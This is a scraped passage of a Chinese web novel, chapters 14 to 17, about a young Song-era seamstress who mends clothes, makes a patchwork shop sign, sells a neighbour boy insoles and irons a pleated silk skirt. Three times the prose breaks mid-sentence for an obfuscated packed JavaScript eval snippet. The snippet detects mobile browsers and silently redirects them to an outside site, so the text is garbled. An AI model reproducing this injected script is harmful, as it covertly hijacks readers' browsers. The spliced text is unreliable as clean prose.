林秀水觉得镇里的人很会赚钱,油衣作和桐油作前面的街巷,全是卖皂角、肥皂团的,还有卖已经捣好的皂荚汤,装在大木桶里,倒出来是一文钱一桶,从这里头下了工的人,买上一竹筒,回家倒上便能洗。 还卖木槿叶,比起用皂角洗头,木槿叶要香得多,林秀水主要听那娘子说,用在头发上会黑,才掏钱买了一捆,五文钱。 她只抱了一小捆油布回去先,太多拿不走,路上还买了一篮子猫头笋,笋是山里挖的,眼下价钱便宜。 到了家,林秀水叫小荷剥笋,她去洗衣裳,还要把昨日的布头给洗大半。在这里晒衣裳很不方便,只能晒在她屋子里的屋檐下,要不就把竹匾勾在窗户边,布头全摊在竹匾上头。 但要防河风吹走布,林秀水还是在院子里支了竹竿,把布挂在上头。 今日不出摊,她补小荷穿破的衣裳,又嫌弃人家,“你怎么这么淘,这膝盖处就没有好的。” 小荷装傻不说话,她跟隔壁张铁生玩磕头把戏,给鱼磕头,给老桑树磕头,给蚕神娘娘磕头。 “还有你这鞋,脏得跟下过田一样。” 小荷这回狡辩道:“没下田,我就在水洼玩。” 林秀水半点不信,她洗了鞋,又烧锅煮水烧笋,等焖饭的工夫,开始纳鞋底,准备做猫头鞋和虎头鞋。 这时门外有人喊,原是张木匠终于把她定的宽木板送来了。 这宽木板比门矮一截,用的杂木,很轻,没有上桐油,摸着毛糙糙的,她还得自己再刷一遍桐油,桃木尺倒是漆过了,摸着很滑手。 还有针夹和线板,竹木的,反正挑不出太大的错处,裁缝工具总算齐全了些。 林秀水缝着鞋,王月兰从外头回来,刚进来便道:“怎么一股笋味。” “我路上看见笋便宜,买了些。” 王月兰将手从门后面拿出来,高高举起篮子,“正好,我看这笋便宜,也买了一大篮,有得吃了。” 她们两个都能吃笋,小荷哭丧着脸,她最讨厌吃笋了,会麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515870|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴。 “惯得你,别人想吃还没得吃呢,”王月兰才不搭理她。 又问林秀水,“从哪拿的这么多油布?” “桐油作里来的,要我裁油布手套呢,”林秀水回她,拿了两条长板凳,准备把宽木板架上去,将剩的桐油底用刷子刷一层,等明日晾干会好很多。 第二日她起来看,这木板不糙手勾丝了,同王月兰一道搬桑树底下,用长板凳架起来。 这下小摊成大摊,摆了一叠布头,桃木尺,要用的布袋,针插,剪子,看上去很齐全。 至少比之前那小桌好,但凡大一点的衣裳要改短,全得拿回去改。 “这桌子好,宽敞,”住对岸的打水娘子过来,手里拿了件衣裳,是件细麻布做的长褙子。 打水娘子说:“我听人说你年纪小,但手艺顶好,我才过来寻你的。” “你先给我把这衣裳改成短褙子,改完这裁下来的布再做个包,加一条系带能背的,你能不能做?” 林秀水站起来,把这衣裳在打水娘子身上比了比,确定好长度,她才说:“能做,改短三文,做包的话五文,不过这颜色偏素,全用的话不免寡淡,不如在我这挑块布头,我给你缝在前头,只要两文。” 她这摆出来的布头,全是耐看不出错的,浅绿、青蓝、淡红,跟偏白的色都能搭得上。 打水娘子一见这色,倒是着实心动,只要两文钱,她一张张拿起来细瞧,最后加了四文,要淡红的做两面,给了十二文。 这要的稍久些,林秀水端了把椅子给打水娘子做,自己拿过褙子裁衣,她裁衣快,有了桃木尺后,裁得更直,下剪子半点不犹豫。 剪下的一圈长布,她先跟打水娘子确定做包的大小,还剩一部分,她说:“我给缝两条红色边条,娘子你拿回去做包布,包发髻用吧。” “这哪好意思,耽误你工夫。” 林秀水闻言道:“不耽误,你带着好就行,不然做个手帕也成。” 她取出线,绕在针上,用残留的短线一拉就带过针眼里去了。 林秀水同打水娘子闲聊间,褙子缝好了边,人家要的包也做好了,做了个翻盖,淡红色的,她还用布剪了小花,补绣上去。 打水娘子一试,褙子长短合适,这包挎在腰间也相配,大小也叫人喜欢,还白得这包布,她满意得不得了。 “下回还到你这来改,不上对岸胡三娘子那去了,”打水娘子这样说,她瞧了又瞧,穿着改好的衣裳便欢欢喜喜走了。 林秀水把铜板串好,她用布一点点擦掉上头沾的布屑,这时李巡栏来了,他大步跑来,“小娘子,那袄子做好了没?” “好了,巡栏你瞧瞧,”林秀水把布袋里的袄子拿出来。 她将绗缝过的丝绵缝在了里头,外头完全看不出来,穿过才知道,这衣裳再也不会丝绵跑得东一块西一块的。 李巡栏压根看不出来,他只要袄子面没破就行,反正对此也很满意,“你这手艺没话说,我家这猫算是逃了一劫。” 他爽快给了钱,只是犹豫着没走,林秀水哦了声,“我没给钱是不是?” “害,不是这事,但你确实也没给钱。” 林秀水就知道,她先交了两文钱,拿了张户税单子。 “哎,舒坦了,”李巡栏感慨,这不收钱心里总有点空落落的,收了钱才好说正事。 李巡栏说:“你上回不是问我,南货坊那边有什么地方能叫你去摆个摊的,还真有个地。” “只不过不是白日里,是酉时边上到夜里。” “那地段还不错,两个时辰五文商税。” 15.第 15 章 林秀水没有一口应下。 两个时辰五文钱,她早上再交两文,合着一日没赚多少,净给官府缴纳税钱了。 况且也要看那地段,旁边做买卖的是谁,碰上同行她倒不怕,但怕抢了别人生意,人家来寻她的麻烦。 她跟李巡栏去看了眼,不免失望,这地段倒算不上偏,可那地方左边是卖膏药贴的,还是现熬的,一口小锅里咕嘟咕嘟冒着黑色胶黏的药膏。 右边更好,是个补铁锅的匠人,前头放一副补锅担,那匠人摸一把锤子,对着锅裂口处猛砸,碎渣飞的到处都是。 林秀水默默取下脸上的碎渣,黑乎乎的粘在手指头上,她很诚恳地问李巡栏,“这地方哪里适合做补衣生意?” 李巡栏自有他的一套圆法,他先指着卖膏药的说:“这是治病的。” 又转向补铁匠,“这是治锅的。” 最后点点林秀水,“这是治衣的。” “这叫三治,哪里不好了。” 好有道理,但林秀水不听。 实则是南货坊好地方早就被占了,哪里轮得到旁人,剩下的地方一是太偏,二是人来往少,李巡栏寻摸着,也只有这个地方能看得过眼。 “多谢巡栏帮我,但这地方吧,”林秀水摸着下巴道,“你得寻个磨剪铲刀的小经纪,这又能给旁边剪膏贴的磨剪子,又能给边上的磨锤子,多好的买卖。” 李巡栏觉得很有道理,若有所思。 林秀水决定自己找,不信没个空地方,但走了一段路后,好家伙,真没有任何空铺位。 她找不到地方,便仔细看每个人摊子上的招幌,她的小摊也有招幌,但就几块布实在瞧不出什么名堂来。 这各行各当都有招幌,幌子大多无字,要谁来都能看得懂,像是这香水行门前挂个大壶,做面食馒头、蒸饼的,就支杆挂起各样花式馒头,鞋铺则是用木板做成靴鞋,往屋檐一挂,要买鞋的一看便知。 林秀水确实看得分明,那卖麻线的铺子从门口就吊下好几束的各色麻线,卖绒线的,则是用几只花栲栳儿做幌子,这玩意是竹条编的筐篮,样子花哨,这满街卖绒线的全用这种篮子。 更别说卖剪子的挂几把剪子,卖布的只要挂匹布出来,成衣铺最好,是一件件时俏的春衫,那么大多裁缝也挂成衣或是半成衣,倒显得她缝补衣物的幌子尤其寒酸。 不止如此,她嗓门不大,吆喝声不够响,吟唱也不会。 尤其这南货坊到南瓦子,遍地小经纪,各个有本事,尤其是吟唱,又称宣唤,他们大多不设幌子,全靠一口好嗓子。 算卦的喊:“时运来时,买庄田,取老婆。” 卖花娘子喊:“红的红,黄的黄,新鲜的迎春、杏花头上簪…” 或是用响器,摇小鼓、拍小铜钹、击铁棒,吹乐弹奏的,各出奇招。 林秀水觉得自个儿能有生意做,全靠桑树口这边人少,裁缝这行麻烦又赚钱少,不然到了这,压根没人搭理她。 她在这晃悠了一阵,回去后下了个决定,既然换不了地方,那就换个招幌,左右也算是换了。 要换下她的破布头幌子,林秀水还有点舍不得,因为这布是她从自己旧衣里裁的。 之前没有布,随便裁的,这下有了各色布头,她打算先用不大好的布头缝合成一件褙子。 因为褙子不是女子才能穿,男子也穿褙子,只不过形制不同,有直领对襟、斜领交襟还有盘领交襟,当然她还是按女子的来。 那这件用来做招幌的褙子,前身后背领口全部用了不同的颜色,青绿蓝红白,反正不是寻常人能穿出门的。 每一块布都自有作用,比如左边靠下的布,林秀水准备缝各式针法和花样,针法比如最简单的平针,又比如锁链、锯齿、绕线、十字等比较新奇的。 至于刺绣花样,好比叶子、花朵、蝴蝶等等简单的。 那么前身那边她打算,第一块是有洞或是裂了口子,第二块则上了补法,贴补、绣补、织补、垫补。 还有林秀水打从给船布郎补了风筝后,觉得自己这实在不能叫补绣,应当叫贴布绣,她夜里琢磨,补洞还有种法子。 她先取了块破布,按着想象裁了只猫头,有了手感后,翻找偏黄的麻布,裁猫头,缝一圈边防散,再用黑线绣眼睛,绣胡须。 这种很简单,小荷特别喜欢,说要缝在裤子上,但林秀水觉得还是得上绣绷,绣着缝更好点,样子也不大好,得再想想。 一大早上林秀水把布头翻来覆去地拼,计划要做一个与众不同,别出心裁的招幌,然后发现,她没有好线,全是些麻线。 绒线又是笔大钱,林秀水摸摸袋子,叹口气,这钱越攒越攒不住,主要还是穷。 她只好先去上工,到油衣作里,把那双跟她手掌一样大的虎头鞋给于六娘,上次应下给于六娘快满周岁的女儿做的。 于六娘第一眼瞧到便捧在手里,这双鞋子实在小巧,枣红色的,前面用橙黄色的线绣了只小老虎的脑袋,眼睛、鼻头、胡须,还单独缝了长出鞋面的圆耳朵,以及鞋后跟还有长而翘的小尾巴,填了丝绵。 “你这手咋生的,”于六娘百思不得其解,她艳羡,“咋你的手就这般巧呢?” 于六娘将眼神转回到虎头鞋上来,看了又看,摸了又摸,实在没忍住,“这鞋子咋没有我能穿的,要我能穿,我高低穿件短褙子,把裤脚束起来,敞着这鞋走。” 林秀水道:“那还不简单,你要是想穿,你给我张纸,我给你画个纸样,你拿着照做就是了。” “什么纸样?” “这鞋看着还怪巧的,六娘,给我也瞧个新奇,比我们镇里做的要耐看,这色搭得多好。” “是啊,还吊个尾巴。” 一群娘子停下针线围上来,瞧着这鞋子,惹得于六娘不满,又按下没说,大家兴致便越发高涨,毕竟每日缝补油衣,乏味至极,难得有点稀奇的,都要凑个热闹。 林秀水明日得出油衣作了,顾娘子的这批油衣已经快缝补完,她得回去熨布了。 下回等过阵日子来,对这些娘子的要求,林秀水也笑眯眯地应下,“好呀,你们给我纸和笔,我晌午歇工的时候,给你们画一幅纸样,画个不一样的,兔头鞋,狗头鞋,猫头鞋,你们觉得怎么样。” 一个娘子说:“那多不好,你画一幅,我们拿着过去照着涂。” 主要林秀水的这个鞋样简单,跟平常鞋子不大一样,别致小巧好看。 都是裁缝,一看纸样就明白,也不好白要林秀水,教她刺绣的戗针、齐针和锁绣法子,还要她看各自的绣花鞋,瞧上哪种纹样,也画个纸样还与她。 于六娘顾自叹气,“我可没什么能教你的了。” 她又笑道:“你明儿来我家中,我给你上桌大宴,叫我闺女认你做干亲。” “倒也不是不行,等我三五年后再说,”林秀水觉得还是免了罢。 至于去于六娘家里,她之前还想过去道贺,一听要去桑林坡那,她立即歇了心思。 那有桑林的人家,一般都在桑青镇东头的桑林坡那,那也出最多的蚕户,可从镇里去那,得先从主河坐船往西边官衙那走,再出镇子到清河坞,一路往东,得大半日工夫。 有这工夫,都能从桑青镇回上林塘了,她确实有点想上林塘了。 林秀水婉拒了于六娘,于六娘有些失望,“你还没瞧过我闺女呢,她长得” 说话间,于六娘打量林秀水一眼,而后笃定道:“她长得比你胖,那脸圆的,随我。” 林秀水纳闷,这有什么非比不可的必要吗。 不过明儿于六娘不来,林秀水要离开油衣作,是以今日下工,她送了于六娘一个香囊,绣的是茶花。 “你拿去装茶花吧。” 于六娘很喜欢,她立即挂在自己腰间最显眼的地方,好要大家都瞧到。 她问:“你喜欢什么花?我下回也做了送你来。” 林秀水回得很快,“我喜欢槐花。” 槐花是世上最好的花。 于六娘晃着香囊笑道:“槐花能染色,这花好。” 才不是,林秀水笑着摇摇头,她娘叫槐花呀。 她又不合时宜想到,她姨母从前是叫兰花的。 两人说了会儿话,临走前,她朝于六娘挥手,站在风岸口,于六娘在船里跟林秀水招手,叫她先走。 林秀水又顶风站了一会儿才走,她要去买绒线,绒线在这不是毛茸茸的线,而是熟丝线,是生丝烧煮过的,更滑更光更好上色。 卖得特别贵,林秀水一听几百上贯的价,立即转身走了,买不起一点。 以她现在百文的家当,她只能买得起一卷,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519907|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后兜兜转转在南货坊的一个老婆婆那,买了她自己染的熟丝,颜色一般,胜在便宜。 她用这个线,花了一个晚上,第二日五更天又起来,才把这件褙子样式的招幌完成。 一拿出去,王月兰正出来倒马桶,外面倾脚头要收,差点没拿稳,“你,你这又是闹什么名堂?” “王娘子,快着点,下一户还催着呢,”后门船上那倾脚头急急地道。 王月兰忙拿出去,洗了后又回来道:“好好的布头,给做成这个样子,你糟践东西是不是。” “我可没有,”林秀水把那蓝绿红的褙子高高举起,又指指上头缝补的痕迹,“这不一眼就能知道我是做缝补活计的,我给它挂桑树底下。” 王月兰洗了手,淘水洗脸,路过时点头,“是啊,这样古怪的招幌,哪个都得留下来瞧上一番。” “我可给你把摊子支出去了,你快些去吧,拿远些,瞧着闹心。” 林秀水觉得她姨母压根不懂她的用心良苦,外面自有人懂,她欢欢喜喜把这件褙子给挂到桑树底下,保管大家过来一眼能瞧到。 确实一眼瞧到了,张娘子推着车架去卖糖粥,敲竹梆子的手都停了,凑近来瞧,才笑道:“我还以为谁家风筝落树上了,还那么老长。” 李巡栏收税时,老远瞧着,忍不住摸摸自己的胡茬,想着在哪里瞧到这样颜色的衣裳,而后猛地一拍手,他怪道,跟那瓦子里唱戏的花脸一样。 这件短褙子,花里胡哨的颜色,像朵花似的吸引大伙簇拥过来,而后又围着上瞧下瞧,最后哄堂大笑,四处散开。 连陈桂花的儿子吴大饼也说:“真怪。” 林秀水被笑得多了,脸皮更厚,她就觉得自己的招幌独一无二的好看。 当然被这独特幌子吸引来的人也有,是来这走亲戚的一家三口,中间那小女童哭哭啼啼的,原是在溪岸口那石阶上摔了,裤子倒没破,衣裳边角刮了个口子。 她抽噎着跟林秀水说:“我最爱这衣裳了,它破了,你还要拿针扎它,它肯定很疼。” “别乱说,”她娘拍了下女童。 林秀水依旧笑眯眯的,“那给它贴个“膏药”好不好?” 她拿出自己做的改良布贴,都是猫头形的,只来得及做这个,有胖乎乎黄绒绒的圆脸大猫,有黑漆漆但是眼睛很大的黑猫,还有黑白相间的,白里透着蓝的等等。 因为宋人爱猫,街上最多的便是猫,桑青镇还有条巷子叫猫儿巷,那里有专门改猫、卖猫鱼的。 做猫头贴指定没错,林秀水做了好些尺寸,不同大小的。 小女童看见这猫头贴果然不哭了,挨个瞧瞧,最后选了圆脸大猫,林秀水背着她绣好衣裳,把这件衣裳拿出来的时候,小女童又蹦又跳,缠着她娘花两文钱又买了个,才高高兴兴走了。 都走出去,还要跑回来,跟林秀水说:“这猫猫叫什么名字?” “得你给它取。” “我要叫它大黄脸胖猫。” 林秀水很赞同,真是个跟她招幌一样与众不同的好名字。 这日早上,她靠这招幌接了好几个活计,有打补丁,缝衣裳,要布贴的,赚了三十来文。 还看见了隔壁张木匠家的小儿子,张木生。 这人林秀水记得住,因为长得黑,还矮,喜欢蹲在后门埠头那水边磨刀。 主要是,他很喜欢簪花,尤其黑皮还簪黄色迎春花,林秀水想不记住都难。 林秀水很奇怪,一早上见他来回转悠了三趟,搞得她心里毛毛的。 “那个,”林秀水招招手,“张木匠家的,你过来。” 张木生好像就等她这句话,像只小黑狗飞跑过来,要是没戴那迎春花的话。 林秀水老早想问:“你是不是寻我有事,你要补衣裳?” “没,不,有事,”张木生看了一圈四周,再三确定没人,才松口气,挠着头道:“你会做腿套吗?就那长筒软靴,最好底跟门槛一样厚。” 他伸手比了比,大概有林秀水的脑袋那么长,他很认真地说:“叫我再高这样多。” 林秀水听完,得好好理解理解他的意思。 但她不理解:“你知道我做什么的不?” “裁缝,我爹说你手艺很厉害。” 林秀水微笑,“我还以为我改行做菩萨了。” 16.第 16 章 要说这高底的鞋子不是没有,林秀水的记忆里,元宝底旗鞋,花盆底旗鞋,各个底都恨天高,穿上立即变成大高个,除了很容易崴脚,在她看来不亚于裹脚的酷刑。 当然还有别的法子,一定要用靴子,能裹住脚掌到小腿的,加厚鞋底,再多缝几双鞋垫,要前低后高,能托起来的。 林秀水不由自主想这是否可行,而后突然想起,她眉毛压下来,质问道:“不对呀,你拿我找乐子啊,你娘和你阿婆全是双线行里的,做鞋履你找我个外行的裁缝?” 她自己做鞋还做不明白,最多是软底鞋和布鞋,真难一点的靴子,她做的完全不能看。 张木生实在冤枉,他哪敢寻别人的乐子,别看他娘和阿奶在双线行里做活,那是最底下的,以前做的是麻鞋、草鞋和棕鞋,眼下他娘做翘头履的鞋头,他阿奶做平头鞋。 哪都跟靴子靠不上边,他说要做高底鞋,他娘叫他滚一边去,滚的时候再把头上那花扔得越远越好。 张木生说了原委,他指指自个儿,又看向林秀水,悲从中来,“你比我小一岁,你竟都比我要高了。” 比什么不好,跟她比身高,林秀水只是瘦,她个子不矮,毕竟她爹娘都高。 但是反观张木匠一家人,各个都不高,尤其张阿婆个子矮还驼背,张木生矮倒意外得很正常。 林秀水说道:“时下人都不算高,况且你这还能长。” 打从临安府传过来的,桑青镇人也吃一日三餐。 但这三餐,早吃豆粥,晌午粟米饭跟稻米饭混着吃,晚上有吃馒头包子,最多的是淹饭,前夜剩的米饭泡水煮的。 长得高才怪。 镇里人都不大高,碰见高个子的话,那多半都是从北边来的。 但张木生着实有些矮,她架起的长凳都跟他腿一样长了,他只有四尺七寸(一米五),禁军起征身高最低为五尺四寸多点(一米七)。 “你根本不懂,”张木生擦擦根本没有的眼泪,“我想去当募兵,人家压根不收我这么矮的,说我做厢军都不够格。” 更难听的是,说远远瞧着,以为哪个老丈走来了,近处一看,还不如老丈的拐杖高。 他气愤地比划,“我要再高这么多。” 林秀水一瞧,一把裁衣尺的长度(三十一厘米),真是做梦。 她说:“我听说有些募兵要在脸上刺字,禁军得戍边,你非得往那里头钻。” “你见没见过禁军,”张木生又转而一脸向往,“他们头戴兜鍪(móu),穿长甲,那长靴一套多威风,吆五喝六的。” 林秀水都已经给他设想了很伟大的愿望,要长高去戍边,保家卫国,平荡敌寇,结果来这一出。 “靠鞋子增那么多高,你别想了,”林秀水真做不到,但这钱还是要赚的,“你给我十文,我给你做双鞋垫,包你再高一点,然后你再去买顶幞(fú)头戴上。” 身高不够,帽子来凑,其实林秀水想说,还可以戴纱巾帽,顶特别高,一般是文人戴的。 张木生狐疑,林秀水继续忽悠人,“想长高光靠鞋垫可不成,有两个法子,你做一个月,不长高你来寻我。” “什么法子?”张木生两眼放光。 “一是,你每日卯时(五点)起来,得先吃饱饭,穿双底厚的鞋,再从桑桥渡往南边水道走,过两座桥,到蚕花菩萨庙前,旁边有堵庙墙,顶上吊着根红布绳。” “你就跳起来去够那红绳,只能跳半个时辰,等哪天你两只手都能够到了,你保证能高。” 林秀水倒还真是故意的,卯时这个点,这小子就已经在楼下河边磨刀了,吱哩哇啦的,吵死个人,她见不得人这么闲。 还有便是,那座蚕花菩萨庙是她下工要经过的地,庙墙特别高,她跳起来都差好大一截,更别说张木生。 张木生仔细琢磨,觉得哪不对劲,又问:“那第二是什么?” “这第二啊,”林秀水指指边上浅滩河流,“你日中,要日头最盛时,到这河里抓鱼摸虾,虾要连壳吃,最好日日去,最好天天吃。” 林秀水守孝时就是这样做的,不吃猪鸭鸡肉,但吃虾和鱼,买豆腐炖,所以她瘦是瘦,身子没太大问题,照常长高,来月事后也不疼。 虾和鱼在这河里不多,又小,得费些劲,但比起买肉吃蛋,这法子最省钱。 “这真的能行?”张木生满腹怀疑。 林秀水说:“那就打赌,按我这样做,半个月你要没高,我给你一百文,你要高了,你给我一百,但你不许把这事情同你家里人说,说了你长不高可别怪我。” “行,我保证不说。” 两个人还真打了赌,张木生在桑树下脱鞋划高,又给林秀水十文钱,拿他脚大小的鞋楦子来,比着大小做一双鞋垫。 林秀水看他离开的背影,想的是,终于不用一大早听这小子磨刀了。 至于这增高鞋垫,就是布头涂糨糊,也称裱褙,但跟正常的平底鞋垫不同,这要前低后高,中间还要有脚掌底的弧度。 林秀水是抹完糨糊后,把这鞋垫横着包在鞋楦的弧度上,绑好再做的。 但这种鞋垫做好了,是特别硬的,穿起来很难受,尤其后脚掌像踩在一块铁上,林秀水自己试了试,难受到迈不开腿。 她琢磨来又琢磨去,换布头,再塞丝绵,后来发现在鞋垫上,加绑板结的丝绵,两边都加,穿起来要舒服多。 至于高度,能长高一个小拇指差不多,再高伤脚还容易崴。 她只是想赚钱,又不是想害人。 反正这鞋垫张木生不大满意,这远比他想的还要矮,但是勉强穿后,瞧起来还真的高了点,尤其在旁人说他是不是长个子了,他更加喜形于色。 然后一高兴,他把头上簪的迎春花,换成了大红的绢花,在巷子口从东走到西,那黑模样,矮个子,大红绢花,闹得人啼笑皆非。 林秀水后来只听隔壁叮铃哐啷响,还有张木生挨打的叫声,她娘之后还来同王月兰抱怨,生了这么个傻儿子,不知道从哪听来的方子,天天上庙里,又日日下河抓鱼,想找个算卦的,瞧瞧是不是勾了什么东西来。 反正她全当没听见,这已经是好几日后的事情了,而这日,林秀水在给这批油衣收尾。 每一件缝完后的油衣,许三娘子都得一件件抖开,从腋下袖缝处细看,到下摆开衩口,再到衣襟处,摸一摸,有没有打结的线头藏在内里,领口这圈不能有线头,还得比对袖长。 她看的时候,谁也不能走,哪怕酉时(下午五点)的鼓声敲响,隔壁捣熟绢做油布的匠人都歇了活,涂油纸伞油布伞的下工了,外面卖皂角的吆喝声响起,她还在这。 “你这批缝得不错,”许三娘子捏捏眉心,放下件油衣,站在林秀水身旁说,“真不打算留在这里,我后面可还有不少活。” 林秀水虽然喜欢油衣作,主要是能有油布可以捡漏,自打到了这,她已经靠大家做油布手套,抢点油布碎片,自己拼出了一大一小两件油衣,两双桐油鞋底的鞋,油布手套的生意也有进展。 但是她还是得回去上工,就是舍不得每日的三十文。 再次听她拒绝,许三娘子还有点失望,打从顾娘子送的这批麻布来油衣作时,许三娘子就知道林秀水这个人了。实在这麻布熨得太过于平平整整,褶皱也少,压根不用油衣作再操心。 毕竟油衣是不能熨的,但是在做油衣之前,不管是绢布、细麻都要熨平整,不然做完再熨时,就会出现袖子一只长一只短,封边一高一低,最重要的是,上桐油后一定会出现皱褶,简直麻烦。 林秀水熨的这批细麻布,是许三娘子最满意的,也难得不窝火,每次接其他铺子,或是官衙送来的布匹,一摊平看那歪歪斜斜的印记,火直往脑门上蹿。 所以顾娘子派人来说的时候,她很快应下了,又打量过林秀水,发现她熨布、裁衣和缝线都做得不错,真动了心思。 有手艺的人到哪都想要,许三娘子也知道她不会来,没为难林秀水,但又忍不住问道:“过个几日从临安府会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525813|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有批细绢运来,你瞧瞧那时能不能抽个空,来看看大家怎么熨,肯定给钱。” 林秀水笑着说:“那有什么,娘子到时候只管找我,我白日起早三更天过来都成。” 她还是挺喜欢熨布的,尤其是不同地方运来的布都不同,就拿绢布来说,临安府的绢布喜欢上重浆,看着光滑,但熨烫时很容易会缩布,其他府喜欢上轻浆的,绢布细薄,熨烫更麻烦。 当然,林秀水第二日回到成衣铺后,她就再也不说自己喜欢熨布了,她恨熨布。 那天早上,先是在门口碰见了小春娥,穿得那叫个花花绿绿,头上还簪了满簇的杏花,飞跑过来,一股花香味。 她“声泪俱下”地说:“阿俏,你知道没你的这几日我怎么过得吗?” “我饭也吃不下,我觉也睡不好,我日日被我姐赶回家,一日都不能扑买,你瞧瞧我是不是瘦了?” 林秀水看了一眼,依旧圆乎乎的脸,她半点不违心地说:“瘦了…吧。” “我就说,”小春娥大笑,然后又说,“阿俏啊,我算是发觉了,成衣铺里不能没有你,你不在,我连个说话的人也没有………” 林秀水耳朵疼,不知道小春娥嘴巴疼不疼,一个人怎么能有这么多话能说。 小春娥最后说:“今日晌午吃虾鱼包儿。” “今日吃这么好,”林秀水有点不敢相信,不会是死鱼死虾吧。 小春娥拍她一下,“你想什么呢,我带来给你吃的。” “我就说嘛。” 两个人才说完,顾娘子过来了,这几日忙,她有些憔悴,连花都只簪了一小朵杏花,没上妆,面容清瘦寡淡。 她看向林秀水,没有寒暄,只说:“你到后头来。” 后面屋子里有张大长桌,上面放了条青色的绸缎裙子,有很多褶,林秀水按幅面大概能看出来是百褶裙。 宋朝女子的裙子样式不算多,百褶裙、合围裙,千褶裙、三裥裙、旋裙,大抵是这几种。 而百褶裙又叫褶裙和折裙,就是褶子特别多,林秀水一眼瞧过去,这还是十二幅的裙子,尺幅很宽。 “站那么远做什么,”顾娘子招招手,“你走进来瞧,看看这种皱褶你能不能熨平整?” 林秀水上前,先将窗子打开,透点光进来,又走回来低头看,这裙子远看是青色的,近看有繁杂的纹样,她只能看出是牡丹菊花纹,但是更显眼的是折痕和各种细小的皱褶。 她伸手摸了摸,捻了捻,扯了扯,确定是死褶,这种就不大好熨平整,主要还有花纹。 顾娘子问:“能不能熨好?” “能,”林秀水回道,她说要去找点东西。 一是水,二是醋,三则是软布,四才是湿布。 她先把整条裙子翻过来,一定要反面朝上,把软布垫在绸缎裙底下,湿布盖在上头,再用熨斗压。 痕迹太深,水不行,她改用醋,加点水稀释,涂在皱褶上,屋子里便有一股酸溜溜的味。 顾娘子满腹疑惑,也没有打断她,林秀水再上熨斗,那深深的压痕慢慢平复,如此反复几次,痕迹便完全消失了,醋味也在熨的过程里逐渐消散。 林秀水翻过来给顾娘子瞧,她细心解释说:“这种皱褶用醋很容易去,米醋和陈醋都黑,要加水到不显色,不然熨的时候会印到上头去,垫软布是怕花了绸缎面的织物。” “那这条裙子便交由你熨,”顾娘子面上有了笑意,“熨好的谢礼也归你。” 这条裙子转手了几个成衣铺的裁缝,都说熨不平,顾娘子本来不想接,但一想到林秀水,莫名觉得她可以,才接了下来。 她也果然没叫人失望。 林秀水听到谢礼,眼睛睁得又圆又大,“给钱吗?” “人家说银钱多俗气,要送点不一样的。” 林秀水愣住,简直没天理,还嫌钱俗气。 她嘟囔:“我就喜欢俗气的,越俗气越好。” 她这辈子的愿望是,靠自己,日富一日,年富一年。 17.第 17 章 熨布难,熨散褶宽幅的裙子更难。 林秀水熨前整理褶皱,将一个个褶叠好,百褶这种裙,裙幅宽也罢,群面打满褶裥,又窄又细,不像三裥裙虽幅宽,却只有三个褶裥。 而且她发觉,自个儿用这熨斗不顺手,平熨和压褶熨手感不同,她便拿着旧布折褶,反反复复地练。 这熨裙褶要从上往下,还需用厚布底间隔开,两条两条地熨,不然底下的绣线保不准会烫花掉,反面熨完不算,正面也要熨。 林秀水熨了半个时辰,累得手发颤,便坐下来,见旁边小春娥趴在一只空炉子上,左边转,右边瞅,又用竹筒吹,她呛了口灰,猛地在那干咳。 她忙起身,把水盏递给小春娥,看她眼皮上沾了灰,嘴巴黑乎乎,思来想去问:“你以后真想只烧炭吗,要不跟我学熨布?” 她这话也并非随口承诺,只思索着自己不会一直在这熨布,跟小春娥交好,自然也想回点东西给人家。 烧炭月钱是六百,熨布有一贯,而且会熨布以后去别的成衣铺或是布行,赚得要多一些。 “可我就喜欢烧火啊,”小春娥放下碗,露出沾了灰黑的脸庞,她眼神亮,“我能看出每一篓木炭的成色,知道哪些能很快烧着,哪些要放在底下慢慢烧。” “我会用许多炉子,袖炉、手炉,用来煎茶水的方形燎炉,铜炉、泥风炉,再难烧的炉子到了我手里,给我根火杵,都能烧旺。” 小春娥又咳了几声,她笑道:“我娘说,像我们这样子没大能耐的人,能做好一样事情就不错了。哪怕是烧炭,我今年烧好这个炉子,明年烧好那个锅灶,总能糊口的。” 她说完后,走了三两步过来,鬟髻一甩一甩,“上回我说想去临安府当个烧火丫头,那是说笑的,我最想去四司六局的油烛局。” 她掰着手指头数,“那里头有管上烛、修烛、点照、压灯种种,最要紧的是有装火和簇炭,我就奔着那去的,我要做个很厉害的烧火娘子。” “是我想窄了。” 林秀水有些惭愧,有时候太过寻常和微小的活计,在她眼里是无关紧要的,但在别人那却并非如此。 她只顾听小春娥的话,手里的熨斗炭火熄了也没发现,又匆匆拿小钳子将炭夹出去,换了新炭来。 